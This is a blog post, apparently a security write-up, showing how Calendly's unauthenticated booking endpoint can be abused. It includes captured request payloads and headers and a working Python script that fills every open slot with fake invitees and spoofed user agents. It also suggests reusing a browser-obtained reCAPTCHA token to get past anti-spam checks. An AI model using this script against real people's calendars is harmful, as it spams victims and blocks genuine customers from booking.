DEV Community

Nelson Figueroa
Nelson Figueroa

Posted on • Originally published at nelson.cloud on

Calendly Denial of Service via Mass-Scheduling

Introduction

I’ve been doing interviews lately and I have been sent several Calendly links.

If you haven’t heard of Calendly, it’s an online scheduling site. You can send someone your Calendly link, and they can see your availability and schedule an appointment.

I noticed that I don’t have to be authenticated any way to be able to schedule an appointment on someone’s calendar. Not great from a security perspective. So I decided to create a free Calendly account and see how easily a theoretical bad actor could abuse it.

The plan is to automate the process of scheduling appointments with Python to fill up someone’s calendar with fake appointments.

Disclaimer: This is purely for educational purposes. Please do not spam people’s calendars.

Gathering Request URLs, Headers, and Payloads

First, I created a free account at https://calendly.com/signup.

My new Calendly account

The dates and times available are shown in the following screenshot:

Dates available for scheduling

I went through the process of manually creating an appointment in order to capture requests, HTTP verbs, and the URLs they were going to.

This was the final step before creating an appointment:

The process of scheduling an appointment on Calendly

As I went through the process of scheduling and appointment I was keeping track of all the GET requests and their payloads (I chose not to show those here to get to the good stuff sooner). The final request that actually created an appointment was a POST request to https://calendly.com/api/booking/invitees. This is the payload of that request:

{
    "analytics":{
        "referrer_page":null,
        "invitee_landed_at":"2024-05-16T00:39:59.886Z",
        "browser":"Firefox 126",
        "device":"undefined Mac OS X 10.15",
        "fields_filled":1,
        "fields_presented":1,
        "booking_flow":"v3",
        "seconds_to_convert":86
    },
    "embed":{

    },
    "event":{
        "start_time":"2024-05-16T10:30:00-07:00",
        "location_configuration":{
            "location":"",
            "phone_number":"",
            "additional_info":""
        },
        "guests":{

        }
    },
    "event_fields":[
        {
            "id":171096387,
            "name":"Please share anything that will help prepare for our meeting.",
            "format":"text",
            "required":false,
            "position":0,
            "answer_choices":null,
            "include_other":false,
            "value":""
        }
    ],
    "event_type_uuid":"2bf9fee5-e434-44a2-8f1f-15eb42f906f0",
    "invitee":{
        "timezone":"America/Los_Angeles",
        "time_notation":"12h",
        "full_name":"Nelson Figueroa",
        "email":"thisisafakeemail@example.com"
    },
    "payment_token":{

    },
    "recaptcha_token":"03AFcWeA6-bQo_p48-znbKGUevb...<cut for brevity>",
    "single_use_slug":null,
    "tracking":{
        "fingerprint":"a13001d0fcfe7e73a87dfd93e5edf7a5"
    },
    "scheduling_link_uuid":"ckbp-gj5-6gh"
}

Enter fullscreen mode Exit fullscreen mode

Most of the fields aren’t necessary. Through trial and error I noticed I really only need a JSON payload structured like this:

{
    "event":{
        "start_time":"2024-05-16T10:30:00-07:00",
        "location_configuration":{
            "location":"",
            "phone_number":"",
            "additional_info":""
        }
    },
    "event_type_uuid":"2bf9fee5-e434-44a2-8f1f-15eb42f906f0",
    "invitee":{
        "timezone":"America/Los_Angeles",
        "time_notation":"12h",
        "full_name":"Nelson Figueroa",
        "email":"thisisafakeemail@example.com"
    }
}

Enter fullscreen mode Exit fullscreen mode

I also made a note of the request headers that I needed for this POST request:

POST /api/booking/invitees HTTP/2
Host: calendly.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36 Gecko/20100101 Firefox/126.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Referer: https://calendly.com/nelsonfigueroa/30min/2024-05-16T10:30:00-07:00?back=1&month=2024-05&date=2024-05-16
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Content-Length: 3324
Origin: https://calendly.com
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
TE: trailers
Enter fullscreen mode Exit fullscreen mode

At this point I had the information I needed to try and mass-create appointments.

Creating a Python Script

I came up with this Python script that makes a few GET requests to figure out what days are available for scheduling and then makes a POST request as previously described:

import requests
import time
from datetime import datetime, timedelta
from faker import Faker

# we'll use Faker to generate fake names, emails, etc
fake = Faker()

starting_url = "https://calendly.com/nelsonfigueroa/"
scheduling_url = "https://calendly.com/api/booking/invitees"

# generate today's date for use in range later
today = datetime.today()
today_formatted = today.strftime("%Y-%m-%d")

# generate the date 30 days from today for use in range later
one_year_from_today = today + timedelta(days=30)
one_year_from_today_formatted = one_year_from_today.strftime("%Y-%m-%d")

# GET request to get event types
username = starting_url.split("/")[3]

event_types_url = f"https://calendly.com/api/booking/profiles/{username}/event_types"

response = requests.get(event_types_url)
event_types = response.json()

# event types have the URL paths we need (i.e. /30min)
# we need to get the UUID in the API call
for event_type in event_types:
    uuid = event_type["uuid"]

    # GET request to get the dates available for the event type
    time_zone = "America/Los_Angeles"
    range_start = today_formatted
    range_end = one_year_from_today_formatted
    booking_dates_url = (
        f"https://calendly.com/api/booking/event_types/{uuid}/calendar/range"
    )
    query_string = (
        f"?timezone={time_zone}&range_start={range_start}&range_end={range_end}"
    )
    booking_dates_url += query_string

    response = requests.get(booking_dates_url)
    booking_dates = response.json()
    booking_dates = booking_dates["days"] # we only need the days

    # check if the user is available on each date
    for booking_date in booking_dates:
        if booking_date["status"] == "available":
            # get open spots for each available date
            open_spots = booking_date["spots"]

            for open_spot in open_spots:
                # we need the starting time for each open spot
                start_time = open_spot["start_time"]

                # we use data we've gathered to generate a payload
                payload = {
                    "event": {
                        "start_time": start_time,
                        "location_configuration": {
                            "location": None,
                            "phone_number": None,
                            "additional_info": None,
                        },
                    },
                    "event_type_uuid": uuid,
                    "invitee": {
                        "full_name": fake.simple_profile()["name"],
                        "email": fake.simple_profile()["mail"],
                        "timezone": time_zone,
                        "time_notation": "12h",
                    },
                }

                headers = {
                    "Host": "calendly.com",
                    "User-Agent": fake.chrome(),
                    "Accept": "application/json, text/plain, */*",
                    "Accept-Language": "en-US,en;q=0.5",
                    "Accept-Encoding": "gzip, deflate, br",
                    "Referer": starting_url,
                    "X-Requested-With": "XMLHttpRequest",
                    "Content-Type": "application/json",
                    "Content-Length": "3924",
                    "Origin": "https://calendly.com",
                    "DNT": "1",
                    "Sec-GPC": "1",
                    "Connection": "keep-alive",
                    "Sec-Fetch-Dest": "empty",
                    "Sec-Fetch-Mode": "cors",
                    "Sec-Fetch-Site": "same-origin",
                    "Pragma": "no-cache",
                    "Cache-Control": "no-cache",
                    "TE": "trailers",
                }

                # finally, send a POST request with our payload to schedule an appointment
                response = requests.post(scheduling_url, json=payload, headers=headers)
                if response.status_code != 200:
                    # for debugging
                    print(f"Status Code: {response.status_code}")
                    print(response.json())
                    print(f"Payload sent: {payload}")
                else:
                    print("Successful request.")
Enter fullscreen mode Exit fullscreen mode

I ran the script for a bit to create appointments. Soon after I started getting emails about appointments being made:

Gmail inbox showing an influx of Calendly appointments

And for further confirmation I also refreshed my Calendly calendar and saw that there were a couple days that are no longer available (May 16 and May 17):

Remaining dates available for scheduling

This was much easier than expected. I didn’t even let my script run indefinitely.

There are Some Security Measures

After (presumably) sending too many requests I started getting a 400 status code in the response along with a message:

{'message': 'recaptcha_challenge_required'}
Enter fullscreen mode Exit fullscreen mode

It looks like there are some anti-spam measures in place.

Looking back at the original payload when making a POST request I see that there’s a recaptcha_token in the JSON payload. I believe this is only created in the browser when it’s evident that a real person is using Calendly. I don’t know if there’s a way to automate this in a script.

Either way, someone could manually schedule an appointment, check the browser dev tools to retrieve the token, copy and paste the token into a script, and spam someone’s calendar. I didn’t bother trying myself though because I’ve already determined that Calendly is trivial to abuse even without the recaptcha_token.

Conclusion

Calendly is suceptible to spam.

I can think of a few scenarios where this could do some damage:

  • If you’re a salesperson, something like this would fill up your calendar and prevent potential customers from booking time with you.
  • If you provide support to customers via Calendly, your calendar would also fill up, preventing actual customers from seeking support.
  • If you get spammed, you may take the time to delete appointments and you might accidentally delete some legitimate appointments with real people.

There’s probably a lot more scenarios.

Further Reading

After writing this post I noticed someone else already had the same idea. I hesitated to link this because it’s essentially an advertisement for this company’s product but the article is still somewhat interesting (I have no association with this company):

I also noticed that there are Calendly API docs. These would have come in handy earlier but I only found out after I was done. That’s fine though, the process of figuring it all out by inspecting browser requests was fun:

Top comments (0)